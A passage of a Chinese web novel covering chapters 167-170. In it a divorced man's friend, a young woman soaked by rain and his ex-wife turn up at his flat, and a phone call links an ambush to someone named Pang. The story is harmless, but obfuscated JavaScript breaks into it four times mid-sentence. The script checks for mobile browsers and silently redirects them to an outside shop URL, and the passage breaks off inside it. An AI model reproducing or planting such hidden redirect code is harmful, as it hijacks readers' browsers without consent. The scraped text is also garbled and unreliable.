林泽声音平静,语气当中听不出任何情绪。 唐若涵的心一紧。 脑海当中瞬间闪过之前的画面。 以前。 每次对林泽发脾气,他都是这样平静。 即便自己无理取闹,他默默忍受着,从不解释,也不为自己辩驳。 现在如此说,是不想接受自己的道歉吗? 可是。 有些事情在她这里过不去。 唐若涵承认,自己是一个执拗的人。 对就是对,错就是错。 之前是她错了,她必须要有一个态度。 当面道歉,这是最基本的礼仪。 如此想着,唐若涵再一次问起地址的事情。 “林泽,你的地址在哪里?” 林泽沉默,片刻工夫以后才将这里的地址告诉唐若涵。 更让林泽感觉意想不到的是,对方记下地址以后,竟然将电话挂断了。 房间里一片安静。 张军咽口水的声音听得清清楚楚。 林泽也觉得有些尴尬。 这通电话内容,多多少少有些打脸。 毕竟这跟问东西放在什么地方,一点关系都没有。 两个人相互看了一眼。 林泽起身去倒水。 张军当场点了一支烟,刚抽一口就开始叹气。 “老林,说句掏心窝子的话,但凡是除了唐若涵以外的其他任何一个女人跟你打电话来,我都替你高兴。” “唯独唐若涵,她这电话打的让我觉得心里堵得慌。” “她人怎么样,我不太熟悉,不好评价,但就最近发生的这些事情,我就觉得,你还是离她远远的好。” “还是那句话,那女的你压不住,还有那姓吴的也不是什么好鸟,你别去趟他们那摊浑水。” 张军的话说的郑重,神情也极为严肃。 抖烟灰的时候,习惯性的将烟身弹了三下。 林泽清楚。 张军有些不淡定了。 跟他认识这么多年,这点小动作,林泽熟悉的不能再熟悉。 以往每次遇到难解的案子,或者是遇到想不通的事情,张军在抽烟的时候都会这样做。 “我知道该怎么做,老张你别担心,我跟她不是你想的那样。” 林泽将水送到张军的面前,接着说了句,“多喝水,少抽烟。” 张军没有接上林泽的话茬,整个人还沉浸在刚才的情绪当中。 “你知道有什么用,她都开始打听你的地址了,谁知道以后会做出什么样的事情来,你可得防着点儿。” 林泽忍不住笑出声音。 手一抖。 杯子里的水差一点洒落。 “你这话说的,人家一个女孩子都不怕,我一个大男的,我防着什么?” 张军一愣。 想想确实是那么回事。 唐若涵真要是对林泽有什么心思,三年的时间早就得手了。 哪能等到离婚以后? 如此一捋,胸口放着的那一块石头也不像刚才那么重了。 今天是周末。 局里头没有什么事,也不需要值班。 自打拎着早餐来找林泽的时候,张军就已经打定了主意,今天一天就在这里了。 所以点头之际,张军话锋一转。 “咱今天中午吃什么?弄点家常菜吧,我还能给你搭把手,太复杂了,我可不行。” “不用你帮忙,冰箱里有食材,一会儿我看着弄几个菜。” 林泽话音刚落。 张军眼睛都笑成了一道缝。 今天注定是开心的一天,除了天气不太好以外。 一大清早。 天空就很阴沉,不仅没有风,空气湿度也很高。 本以为临近中午会露出太阳,可谁曾想,外面越来越暗了。 看样子,弄不好会下雨。 “瞧瞧外面的天,云朵那么厚,说不定会来一阵,不过,不管下不下雨都无所谓,哥们今天休息!” 张军的声音当中透露着轻松,说完直接仰头靠在沙发上。 “对了,今天你去不去医院?这天气不防备。” “早晨,安医生打电话过来说,今天没什么事情,我打算明天去。” 林泽如实回答。 张军嗯了一声,既然林泽不去医院,那嘱咐他带伞的话就不用说了。 突然。 一道雷声传出,沉闷响亮。 两个人同时一愣。 张军打了一个激灵,急忙跑到阳台。 “不是吧,刚刚说可能要下雨,这会雨就来了!” 说话的功夫,张军已经关上阳台的窗户。 林泽跟过来,抬眼看向窗外。 这时,地面上密密麻麻的雨点清晰可见。 “轰隆隆——” 又是一阵雷声传出。 顷刻之间,大雨倾盆。 夏天的天气就是这样。 前一刻还好好的,后一刻就可能雷电交加。 两个人在阳台站了片刻,随即坐到沙发上。 重新聊天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002644|192808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝茶。 外面的大雨除了会带来一丝凉意,其他的好像对他们并没有什么影响。 听林泽说,做鱼香肉丝和地三鲜,张军立刻来了精神。 这可是典型的下饭菜,用他的话说,那就是菜摆到桌上,米饭都得抢着吃。 “你在这坐着,我去处理食材。” 林泽抬眼看了一下时间,刚要起身。 外面突然传来一阵敲门声。 “咚咚咚——” “咚咚咚——” 声音急促,一声连着一声。 张军一怔。 “不是吧?唐若涵这么快就找过来了?这……” 张军伸手指指外面,这会儿,窗外正飘着大雨呢! 如此风雨无阻? 此刻,对于来人,林泽也有些懵。 自己刚搬来新家不久。 知道地址的,除了刚刚跟唐若涵说起过以外,除了张军,就是他们局里的领导了。 今天是休息日。 现在又是大雨倾盆,总不可能是周局。 敲门声还在继续,林泽缓过神来起身。 张军虽然没动地方,可脖子已经伸得老长。 “来了!” 林泽一边说,一边朝门口走去。 刚打开门。 一个身影便猛地冲进来。 “天哪,外边的雨太大了,我都被淋成落汤鸡了!” 清丽的声音。 眼前的情形。 还有湿哒哒的……南希。 眼前这一幕让张军和林泽彻底愣住。 此刻。 南希身上衣服全被雨水浸湿,整个人像从水中捞出一般。 说话的功夫。 雨水还不停地顺着脸颊滑落。 “南希,你怎么来了?” 林泽声音当中满是惊讶,目光刚刚停在南希身上,又瞬间收回。 南希被雨水淋透了。 不仅头发上滴着水,衣服上也滴着水。 因为雨水浸润,她的衣服全都贴在身上,几乎透明。 淡蓝色的真丝连衣裙,现在更像是湿透了的睡衣。 意识到林泽目光不对劲。 南希赶紧低头。 看到衣服全都贴在身上,几近透明,瞬间尴尬的往后退了两步。 “我……下车的时候还没有下雨,谁知道,雨下得那么急。” 南希声音当中透露着慌乱,精致的面孔上羞涩一片。 这时。 林泽也缓过神。 “你先去拿干毛巾擦一下头发,小心着凉。” “好啊,我马上就好。” 说话之际。 南希不停地观察眼前的环境。 就算用干毛巾擦头发,也得先弄清楚洗手间在什么地方。 “一直走左拐。” 林泽是时候提醒。 “好!” 南希一边说一边小跑着向前。 可刚到沙发处,骤然停下脚步! “张军,你怎么也在这?” 南希眼眸一惊,问话脱口而出。 张军无语。 伸手摸摸脑袋,慢悠悠的从喉咙里挤出一句。 “我看你们很久了。” 南希脑袋嗡的一下子。 这种天气,以这种状态出现,太让人尴尬了。 感觉脸颊呼呼的热,南希干脆低头,硬着头皮冲进洗手间! 第168章 看到了……沙发上的女人! 林泽跟着愣住。 对于南希的突然出现,林泽现在还没有缓过神,于是再次看向张军。 “南希……怎么来了?” “你问我啊,老林,这是你家,我怎么知道,她怎么会过来?” 反问完毕,张军抬头看向窗外。 外面的雨还在下。 乌云黑压压的一片,一层压着一层,看样子,这雨一时半会儿没有要停下的意思。 伸手摸摸脑袋。 张军突然笑起来。 “这雨来得及时,不过刚才真把我吓一跳,我以为是你前妻来了。” 林泽眉头瞬间皱起,“老张,换个称呼,你可以跟我一样叫她唐总。” “我才不,她又不给我发工资。” 张军当场拒绝。 同一时间。 南希正在洗手间里发愁。 头发已经擦个半干,可身上的衣服…… 如果早知道会有这样一场雨,说什么也不穿真丝连衣裙。 现在,薄薄的连衣裙贴在身上,怎么看怎么别扭。 浑身湿哒哒的,南希恨不得当场把裙子扔出去。 可是。 尽管讨厌,这还得把这裙子当宝贝一样供着。 眼下没有别的选择。 要么穿着贴在身上的裙子出去。 要么躲在洗手间。 南希柳眉皱起,咬着嘴唇思索。 最终鼓起勇气。 “林泽,我能借你一件衣服穿吗?” 客厅。 林泽和张军正在愣神。 南希的声音突然传来。 林泽恍然大悟。 “好,你稍等一下。” 匆忙走向卧室,林泽手脚都有些慌乱了。 张军挑挑眉毛。 这场雨下的,果然及时。 只是。 不知道刚才点的鱼香肉丝还能不能吃得上。 几分钟后。 南希从洗手间走出来,身上穿着林泽的衬衣。 有些肥。 有点长。 不过,棉质的布料很舒服。 往前走了两步,南希有一种穿超短裙的感觉。 “不好意思,给你们添麻烦了。” 刚站直身体,南希便歉意开口。 低头看到腿露了一大截,南希脸颊再次发热。 而在林泽和张军眼中,南希的脸早已经红得像熟透的苹果。 “咳咳!” 张军咳嗽两声,尽量表现得自然。 “还别说啊,你穿老林这衣服倒是挺合适,像个裙子一样。” 南希怔住。 穿衬衣像穿裙子……还挺合适? 这是什么审美规格? 算了,眼下也顾不了这么多了,谁让遇上这场大雨了。 “对了,你怎么来了?” 张军跟林泽异口同声。 南希尴尬地坐在沙发上。 “回去以后我一直在想堵着我们的那些人,感觉还是有些不放心,我就过来了。” 林泽依旧纳闷。 “你知道我这里的地址?” “张哥告诉我的,就上一次同学聚会,他说了我就记住了。” 被南希这样一提点,张军恍然大悟。 伸手拍了一下脑门,赶紧解释。 “我想起来,这还真是我说的,不过南希啊,你有没有记住我家地址?我不是也说给你听了吗?” “这……张哥,记住林泽的地址跟记住你的不一样嘛,你们两个人关系那么好,反正找到他就能找到你。” 张军扭过脖子笑。 南希这丫头真机灵,明明把自己的地址给忘了,偏偏这话又说得滴水不漏。 伸出大拇指对着南希比画了比画,张军接着笑。 眼看着时间不早,林泽看向张军。 “老张,我去做饭,你陪南希聊一会儿,饭一会儿就做好了。” “别呀,你不能走,你把我俩晾在这儿算怎么回事儿?” 剩下的话张军没有说出来。 南希是过来找你的,我跟她有什么话说? “不想吃鱼香肉丝了?” 林泽压低声音,目光当中满是询问。 张军把心一横,完全一副豁出去的样子。 “行,那你去忙,我跟南希探讨一下案情。” 刚把话说完,张军便坐在南希的对面。 “南希,刚才你说,昨天一直在想堵住你们的那些人,是不是有什么线索?” 把事情归咎在案情系列当中以后,张军像变了一个人,瞬间变得神采奕奕。 南希柳眉蹙得更紧,边思索边回答。 “我也不确定是谁,不过,我们在旧货一条街上看到过吴庸,而且他一直在挑衅,我想着,会不会是吴庸派过去的人?” 说完这些没,等张军回答,南希又接着分析。 “但是,听林泽说,还有一种可能,就是我们在半路上的时候被人给盯上了。” “当时只顾着出手手里的东西,我们也没有观察得太仔细,如果真有人看到我们以高价成交,想要抢钱也是有可能的。” 张军没有急于表态。 习惯性地掏出一支烟,刚想点燃,突然又放在茶几上。 有女孩子在场,让人家吸二手烟不礼貌。 可是如果嘴里不叼着点什么,张军总觉得灵感不充足。 深吸一口气,努力平复心情,张军好不容易才投入到状态当中。 “这个姓吴的,心胸狭隘,做事不地道,暗中使坏这种事情,这小子完全能做得出来。” “可在没有证据的情况下,也不能断定事情就是他做的。” “南希,你把当时具体的情况再给我讲一下。” 张军脸上是前所未有的郑重,声音也跟着严肃许多。 南希点点头。 把能想到的细节全都说了一遍。 听着南希清脆的声音,张军脑海当中闪过一幕幕画面。 很快。 厨房里传出菜香,张军的思路又被打断了。 闻这味道,鱼香肉丝应该是出锅了。 那香味,辣中透甜,甜中带酸,独特淳厚。 光是闻到味道,就让人忍不住咽口水。 张**头看向厨房的方向。 林泽突然走出来。 “不好意思,你们再等一会儿,我下去买一些肉片。” “刚才炒鱼香肉丝的时候,一下把肉切完了,忘记还有个青椒炒肉。” 林泽话音刚落,张军突然起身,猛地迈了一步,将林泽挡住。 “我去买食材,你在这里等着吧!这里我比你熟悉,知道哪里有近路。” 林泽并没有多想。 毕竟他刚搬过来不久,对于这里的环境及路况确实不如张军熟悉。 所以面对张军的提议,林泽也没有拒绝,只是嘱咐他出门的时候带上伞。 随着关门声音响起。 屋子里只剩下了南希和林泽两个人。 南希的心怦怦地跳个不停,仿佛稍一紧张,一颗心就要从嗓子眼儿里蹦出来了。 现在。 她穿着林泽的衣服,坐在林泽家的沙发上。 却不知道该跟林泽说什么才好。 “南希,你等一会儿。” 南希不解,刚抬起头,林泽已经重新走进厨房。 等到他再次出来的时候,手里已经多了一个玻璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005664|192808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯。 “喝点这个,淋过雨以后小心着凉。” “这是什么?”南希双手接过,可脸上的疑惑却越来越浓。 杯子里的像是茶水,可是味道却又很独特。 细闻之下。 还有一丝丝姜味。 “紫苏姜茶,祛风散寒用的,我怕你喝不惯这种味道,在里面加了一些红糖。” 林泽解释得非常详细。 南希的心里暖暖的。 林泽真是一个细心的人。 紧接着。 南希思路开始跑偏。 林泽跟唐若涵在一起生活了三年,在这三年当中,能够受到林泽无微不至的照顾,唐若涵多幸福啊! “趁热喝吧!” 林泽的声音再一次响起,南希紧跟着点头。 轻抿了一小口,她的眼里再次放光。 “味道还不错,有点辣,还有点甜,挺好喝的。” “慢慢喝,不着急,身体一会就暖和过来了,如果你还觉得冷,我再去给你找件衣服。” 林泽坐在南希的对面,两个人保持了不远不近的距离。 南希一直说不用,双手捧着水杯,小口喝着紫苏姜茶。 “咚咚咚——” 突然敲门的声音传来。 两个人同时看向门口的方向。 林泽起身。 心想当军的确熟悉路况,如果换做是自己,绝对不可能这么快就回来。 快走两步,林泽迅速开门。 “你还挺快,这么快就……”林泽本想夸张军,看到对面的人,脸上的表情瞬间僵住,就连声音也跟着变了很多,“唐总?” “林泽,我想了想,有些话,还是想当面跟你说。” 唐若涵站在门口,直视林泽目光以后又迅速收回。 深褐色的头发披在肩膀处,棉麻衬衫的袖口,恰到好处地挽到了手肘。 纤细小臂。 简约皮质手表。 正在滴水的雨伞…… 眼前这一切,都给林泽一种恍惚感。 这样的唐若涵,他从来没有见过。 好像少了一些锋利,又多了一丝亲和。 “我……可以进去吗?” 感觉到林泽的吃惊,唐若涵略显尴尬地问道。 “可以,唐总,请进。” “这就是你的新家?” 刚迈进一步,唐若涵便观察起周围的环境。 房子不大,却干净整洁。 房间里的家具并不多,装修风格简约不失大方。 白灰为主的色调让人心旷神怡。 空气中。 有淡淡的烟草味,更多的是……鱼香肉丝的香味。 “你在做饭?” “哦,做了鱼香肉丝。” 林泽平静的回答完毕,将身体侧到一旁。 唐若涵装作若无其事,继续往前走,却趁着林泽不注意,悄悄地吸了好几下鼻子。 林泽离开别墅以后,她吃饭也简单了很多,甚至可以用敷衍来形容。 毕竟没有了林泽,她不可能花大把的时间用在做饭上。 最主要的还是,她不会。 所以,再次闻到林泽做的饭菜的香味,唐若涵心中五味杂陈。 一时间。 竟然不知道该说什么才好。 再往前走几步就是沙发,唐若涵本能地岔开话题。 “这套沙发色调还可以,跟屋子里的装修风格……很,般,配。” 最后三个字。 是从唐若涵的喉咙里挤出来的。 说话的同时。 唐若涵不仅看到了跟装修风格般配的沙发。 同时。 还看到了沙发上的……女人! 第169章 离婚了,你吃什么飞醋? 四目相对之际。 唐若涵大脑一片空白! 面前的女人是南希,这本已经让人感觉非常意外。 更可震撼的是,南希竟然穿着林泽的……衬衣! 对! 唐若涵断定,她身上的那件衬衣绝对是林泽的。 百分之百确定! 那件纯棉,白色格子的旧衬衣,分明就是林泽的标志啊! 跟林泽在一起的三年,她不知道看到过多少次这件衬衣,可现在,林泽的衣服竟然穿在了南希身上! 唐若涵心跳加快,眼神当中满是不可置信。 深吸一口气,唐若涵惊慌回头。 赫然发现。 此刻。 林泽的目光也正看向南希那边! 南希局促不安的表情,修长白皙的腿,还有半干的头发…… 怎么回事? 她这是刚从浴室出来吗? “林泽,你不打算正式介绍一下吗?” 唐若涵呼吸凝重,心像是被什么东西拽了一下子,又痛又难受。 故作镇静以后,这才勉强问出一句完整的话。 “哦,唐总,就是南希,你们见过的。” 唐若涵目不转睛。 可此刻,林泽已经没有了下文。 “说完了?” “对,你们确实见过。” 虽然没有正式打招呼,但林泽相信,唐若涵跟南希已经见过两次面,又怎么会记不住这个人? 当初第一次见面是在沈家家宴上。 第二次,则是在东海大酒店的大堂,唐若涵跟南希也打过照面。 可唐若涵想的却完全不是这些。 南希,她怎么可能不认识? 她想知道的是,南家大小姐跟林泽的关系! 两个人究竟好到什么程度,能让南希去穿林泽的衣服! 脑海当中闪过这个念头。 唐若涵的心瞬间收紧。 怪不得,三年将近,快要办理离婚手续的时候,林泽没有半丝眷恋。 即便父母坚决反对他们离婚。 即便爷爷要把整个唐氏集团交给林泽打理。 所有这些诱人的条件,林泽都不去理会。 原来,是为了南希! 换句话说。 在他们还没有提交离婚申请的时候,林泽跟南希…… 唐若涵不敢继续往下想,无形当中,握成拳头的指尖,颜色渐渐发白。 “唐姐姐,你好。” 清脆温婉声音传出的同时,南希已经伸出手。 而面对南希的笑容,唐若涵只觉得极其刺眼。 “你好。” 见唐若涵并没有伸过手来,南希自然地把手缩回去。 “刚才在来的路上,我的衣服被雨淋湿了,所以我穿上了林泽的衣服。” 简单描述完原因,当着唐若涵的面,南希拽了拽衣角。 如果她昂首挺胸,这衬衣确实有点短。 而这简单的动作在唐若涵看来,却是一种挑衅。 哼! 越描越黑。 此地无银三百两! 南希,就算你跟林泽现在是恋人,跟我又有什么关系? 干嘛要如此欲盖弥彰? 唐若涵收回目光,却无法掩饰脸上的疏离。 “不用你解释,我也知道衣服是林泽的,三年夫妻,他的衣服我自然认得。” 把话说完。 唐若涵的嘴唇抿得紧紧的。 见两个人都不再说话,林泽开口说道:“都别站着了,唐总您坐下吧,我去给您倒杯水。” “不用!” 也不知道是哪里来的火气,林泽刚把话说完,唐若涵就断然拒绝。 反倒是南希,顺着林泽的话说了一句,“林泽,你不用忙了,也许唐姐姐不渴。” 唐若涵看了一下周围,最终将目光放在林泽这边。 “最近,你一直住在这里?” “对。” “地方本就不大,还搞灰色系装修风格,给人的感觉更加压抑,还好阳台够大,否则,屋子里暗成什么样?” 这番话说出来后,唐若涵自己也感觉到震惊。 原来,心情真的可以影响一个人的判断。 就在前一刻。 她还觉得房子装修的简约,雅致。 可自从看到南希,房子里的一切都变得不顺眼起来。 林泽淡淡地回答了一句,“这是房东事先装修好的。” 唐若涵嘴唇翕动,最终,还是把嘴边的话咽了下去。 三个人都不再说话,气氛一阵尴尬。 盯着面前的唐若涵看了一会儿,南希突然明白了什么。 唐若涵在吃醋! 瞬间。 南希觉得好笑。 这个唐若涵还真是奇怪,没离婚的时候你不好好珍惜,离婚了你吃什么飞醋? 真是莫名其妙! 意识到这一点,南希突然眼前一亮。 不管唐若涵为什么而来,一会儿,倘若她对林泽不好,那…… 不知不觉间。 南希的嘴角扬起一丝弧度。 这时。 门外突然又响起了敲门的声音。 这一次,林泽相信,肯定是张军回来了。 果然还没有走到门口,张军粗犷的声音已经从门缝透进来。 “老林,快点开门,下着一阵雨,我都起鸡皮疙瘩了!” 张军嗓门本来就大,现在又扯着嗓子这么一吼,他说的每个字大家都听得清清楚楚。 林泽把门打开,刚想告诉张军屋子里的情形,张军的声音又先一步传出来。 “老林啊,我跟你说个事儿,我好像看见唐若涵的汽车了,就停小区门口那,那女人不会真过来找你了吧?” “哎,哎,我去,真来了!” 张军目瞪口呆,看到唐若涵的那一刹那,眼睛都直了! 几个意思? 就买点肉的功夫,屋子里怎么又多了个女人? 林泽的小屋子,真够精彩的! 为了确定没有看花眼,张军使劲地揉了揉眼睛。 看到唐若涵依旧在盯着自己这边,他这才真信了。 “呵呵,今天人们来得挺齐全,咱们是不是要加几个菜?” 没有人回答。 张军更加尴尬。 “好吧,你们聊你们的,我去厨房做饭,不过我提前声明啊,只管做熟,不包做好。” 说完,张军一溜烟钻厨房里了。 关上厨房门。 张军把手捂在胸口的位置,大口地喘着粗气。 刚才在外面,冷风凉气的,起了一身的鸡皮疙瘩。 没想到,回到屋子,鸡皮疙瘩又来一层。 悄悄地撇了撇门缝,张军用小的不能再小的声音嘟囔。 “老林啊,别怪哥们不帮你,实在是没经验,你自求多福吧。” …… “林泽,这个茶很好喝,放的红糖刚刚适量,回头你教给我方法,好不好?” 南希的声音很甜。 如同眼前放了糖的紫苏姜茶。 特殊韵味当中夹杂了一丝甜意。 林泽脸上瞬间露出笑意,“好,其实这个茶煮起来很简单,回头我告诉你方子。” “行,你一定要给我写下来,我怕我记不住。” 南希再次对着林泽笑,随后,还朝唐若涵那边看了看。 果然,唐若涵的脸倏然沉下。 看到这副情形,南希心里高兴极了。 生气了吧? 哼! 谁让你刚才偷偷瞪我来着! “唐总,刚才您说有话要讲,什么事?” 想起之前电话里的内容,林泽问了一句。 唐若涵紧抿嘴唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006677|192808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼底冷然一片。 心中的疑惑及愧疚依然存在。 可现在,对面是南希,如此把话讲出来,她做不到。 “我突然忘记想说什么了,回头再说吧。” 闻言。 林泽只好说道:“好。” 唐若涵才能重新审视林泽。 从认识林泽至今,她第一次感觉到林泽的性格这么好。 不管别人说什么都说好,难道他不会反驳吗? 南希要煮茶的方子,自己临时改变主意,林泽接受得都那么坦然。 唐若涵正想着。 突然。 目光停顿,直接看向厨房。 “什么味道?” 话音刚落。 一阵焦糊的味道从厨房那边传出。 林泽当即转身。 “南希,唐总,你们先坐会儿,我去找老张!” 说话间,林泽已经冲进厨房。 再不救场,估计房子都要着了! …… “咳咳咳!” 张军捂着鼻子不停地咳嗽。 见林泽进来,仿佛看到了救命稻草。 “老林快点,糊锅了,这抽油烟机也不管用了,咋回事儿?” 一片烟尘当中,林泽终于看清了张军。 拿起旁边的锅盖扣上,又抬手将抽油烟机调到最大。 直到打开窗户,这才有时间说话。 “哪儿出了问题?” 张军愣在原地,不停地挠脑袋。 “不知道啊,我放上胡萝卜就去切西兰花,一开始闻着挺香,后来火忽一下子就起来了!” “老张,你可是警察,这……” “什么这那的,我是警察,又不是消防员,我去,没把哥们吓死!” 林泽哭笑不得。 好在火势没起来,但是张军炒的这个菜肯定是要不了了。 几分钟后。 厨房恢复原态。 张军探过头,神情小心翼翼。 “老林,咱厨房失火,你那后院没失火吧?” “哪有什么后院?你出去吧,我把剩下两个菜炒完。” 见林泽手上动作麻利,张军又嘿嘿笑了两声。 …… 桌上菜肴满满,米饭白皙透亮,且颗粒分明。 鱼香肉丝,尖椒炒肉。 芋头炖猪脚,得三鲜。 在几个家常菜当中,林泽又做了一道唐若涵经常吃的黑椒炒牛柳。 既来便是客,怠慢了终究不好。 望着距离自己最近的菜品,唐若涵心中五味杂陈。 黑胡椒香气浓郁,牛肉鲜嫩多汁。 青红椒和洋葱使菜品色彩更加诱人。 “唐总,您吃饭。” 看到唐若涵没动筷子,林泽开口提醒了一句。 唐若涵没说话,缓缓夹起一根牛柳。 轻咬一口。 醇香的牛肉加上黑胡椒那独特的辛辣味…… 再次感受到熟悉的味道,唐若涵眼眸一颤。 没想到。 提交离婚申请以后,还能吃上林泽做的饭。 “大家都别愣着了,都吃饭吧。” 餐桌前的气氛有些微妙。 唐若涵吃饭的时候,张军和南希都没有动筷子。 林泽只好再一次催促。 突然。 林泽的手机响了。 突兀的铃声让众人再次停下手上的动作。 “不好意思,我接个电话。” 林泽起身,同时按下接听键。 “您好,沈先生,有什么事吗?” “小林先生,有线索了,那些人交代,昨晚的围堵,是一个姓庞的人指使的。” 电话那端。 沈平韵声音平稳,语气当中夹杂了一丝低沉。 “庞?” “是的,广龙庞。” 此话一出。 南希跟唐若涵,同时一震! 第170章 有些东西,看到了,像是没看到。 南希垂下眼眸,没来由地心中一慌。 旁边。 唐若涵倒吸一口凉气,虽然故作平静,可眼底还是闪过一抹慌乱。 刚才。 林泽接电话时,众人都放下了筷子。 所以即便没有开扬声器,电话当中的内容,大伙都听得清清楚楚。 对于昨晚的围堵,南希和林泽都亲身经历。 张军更是听了不下两遍。 当听说是姓庞的人指使时,林泽跟张军还没缓过神。 南希脑海当中瞬间闪过一个男人的面孔。 庞林! 同一时间。 唐若涵好像也想到了谁。 两个人心中思绪翻涌。 虽然先后缓过神,等调整好思绪以后,林泽已经挂断电话。 “老林,有线索了?人逮住了没有?” “目前没有,那人只说幕后指使人姓庞,沈先生讲,现在还在调查当中。” 林泽话音刚落,南希已经迫不及待地抬眼。 “只说姓庞,没有问出其他的吗?” 林泽摇摇头。 “没有,现在也只能慢慢查,”说着,林泽重新拿起筷子,再次催促几个人吃饭。 面前菜品丰盛,可一想到那个姓庞的人,唐若涵的心里沉甸甸的。 但愿自己的猜想是多余的。 南希同样下定决心。 一会儿从林泽这儿出去以后,她就要打电话问庞林到底是怎么回事。 …… 一顿饭过后。 雨渐停。 再次从洗手间出来,南希已经穿上了之前的裙子。 虽然面料有些皱,但跟刚才的衬衣相比,行动总算自然了一些。 将洗好的衬衣晾到阳台,南希转头看向林泽。 “谢谢啊,回头送你一件新衬衣。” 林泽拒绝。 可南希坚持,并且说早已经记下了林泽衣服的尺码。 张军坐在沙发上,嘴角一直扬着。 旁边。 唐若涵脸沉得要滴下水来。 一个不要,一个非要给。 林泽不清楚是怎么回事,可她心里跟明镜一样,南希这么做就是想多跟林泽接触,她一眼就看出来了! 可偏偏在这种情况下,她没有理由说什么。 所以。 唐若涵的眼睛一直看向阳台那边,直到南希来到客厅,她的目光都没有从林泽身上收回来。 天逐渐放晴。 阳光再次变得绚烂。 大雨过后,天空晴朗,空气当中也夹杂着青草的香味。 南希本来想从林泽这里多停留一会儿,可是,心里一直有事情想要求证,所以,只能找个借口离开。 张军没有要走的意思。 唐若涵也只好告别。 两个人一块下楼,脸上都带着笑意。 可出电梯以后,二人笑容当中仿佛都多了一丝其他的意味。 唐若涵停下脚步,抬眸直视南希的面孔。 “南希,没想到,今天会遇到你。” 客套的表情,语气当中的疏离,唐若涵表现得淋漓尽致。 南希露出个明媚的笑容,声音依旧清脆。 “唐姐姐,我也没有想到你会来,不管怎么说都是有些不巧的,我今天穿了林泽的衣服,不管你相信与否,真的只是意外。” 唐若涵眼底闪过一丝不悦。 “不过一件衣服而已,没有什么好解释的,再说这些事情与我无关。” 剩下的话,唐若涵没有说出来。 南希喜欢林泽,大家都能看得出来。 难道,她会因为一件衬衣而改变决定吗? 林泽现在是自由的。 不仅时间上自由,感情方面也是。 同样。 她没有任何权利阻止林泽喜欢任何一个女孩子。 这点自知之明,她还是有的。 维持着最后的倔强,唐若涵在脸上挤出一丝笑容。 “南希,我们都在做自认为应该做的事,不是吗?” 甩出这句话,唐若涵迈开脚步,头也不回地离开。 南希嘟嘟嘴,心情愉悦地上车。 低头看了一下裙子,柳眉悄悄蹙起。 都说真丝布料养肤亲肤,像人的第二层皮肤一样。 还有人说,天然蛋白质纤维不仅滋润皮肤,还能促进代谢。 可是。 自从穿过林泽的棉质衬衣,现在真丝连衣裙都不舒服了。 回想起林泽衬衣上阳光的味道,南希的小脸又开始泛起淡淡红润。 “都已经穿过他的衣服了呢……” 轻轻呢喃过后,羞涩的小嘴抿成一条线,南希恨不得伸手将脸捂上。 …… 将汽车靠边停下,唐若涵拿出手机,终于找到了吴庸的电话号码。 电话拨出去。 很快接通。 “小涵,是你吗,你怎么想到给我打电话?我还以为你在生我的气,会不理我了。” 电话那端。 吴庸声音激动,话说得都有些语无伦次。 唐若涵将目光看向窗外,脸上是前所未有的平静。 “吴庸,我想问你一件事情。” “好啊,你说,别说问一件了,就算是问十件百件,我都认认真真地回答!只要你开心,我做什么都可以。” “最近,你有没有跟庞二丁联系过?” 唐若涵已经有了一丝不耐烦,用力抚了抚额头,可心中那些烦躁依旧无法抹去。 紧盯着手机屏幕,她的心也跟着紧张起来。 吴庸会不会说实话? 倘若他不承认,那该怎么办? 还没想好接下来的话怎么说,电话那端,突然传来一阵爽朗的笑声。 “哈哈哈哈!” “小涵,你是不是有未卜先知的能力,我现在就跟二丁在一起啊!” “二丁,快过来,打个招呼!” 最后一句。 吴庸几乎是吼出来的。 隔着屏幕都能感觉到他语气当中的得意。 听着震耳欲聋的声音,唐若涵的手指关节也在泛白。 吴庸跟庞二丁在一起。 而且,现场好像还挺嘈杂的。 “唐姐好,我是二丁,什么时候有时间了,咱们聚聚啊?” 说话的人很兴奋,听起来,酒好像喝了不少。 唐若涵尽量把声音放松,“庞先生,你好,不好意思打扰你们了,你们是不是在喝酒?” “是啊,今天吴哥请客,我们几个可不能不赏脸,再说了,好长时间没有聚过了,大家在一起开心,所以喝点。” “好,那你们继续,我就不打扰了!” 说完这句。 唐若涵直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 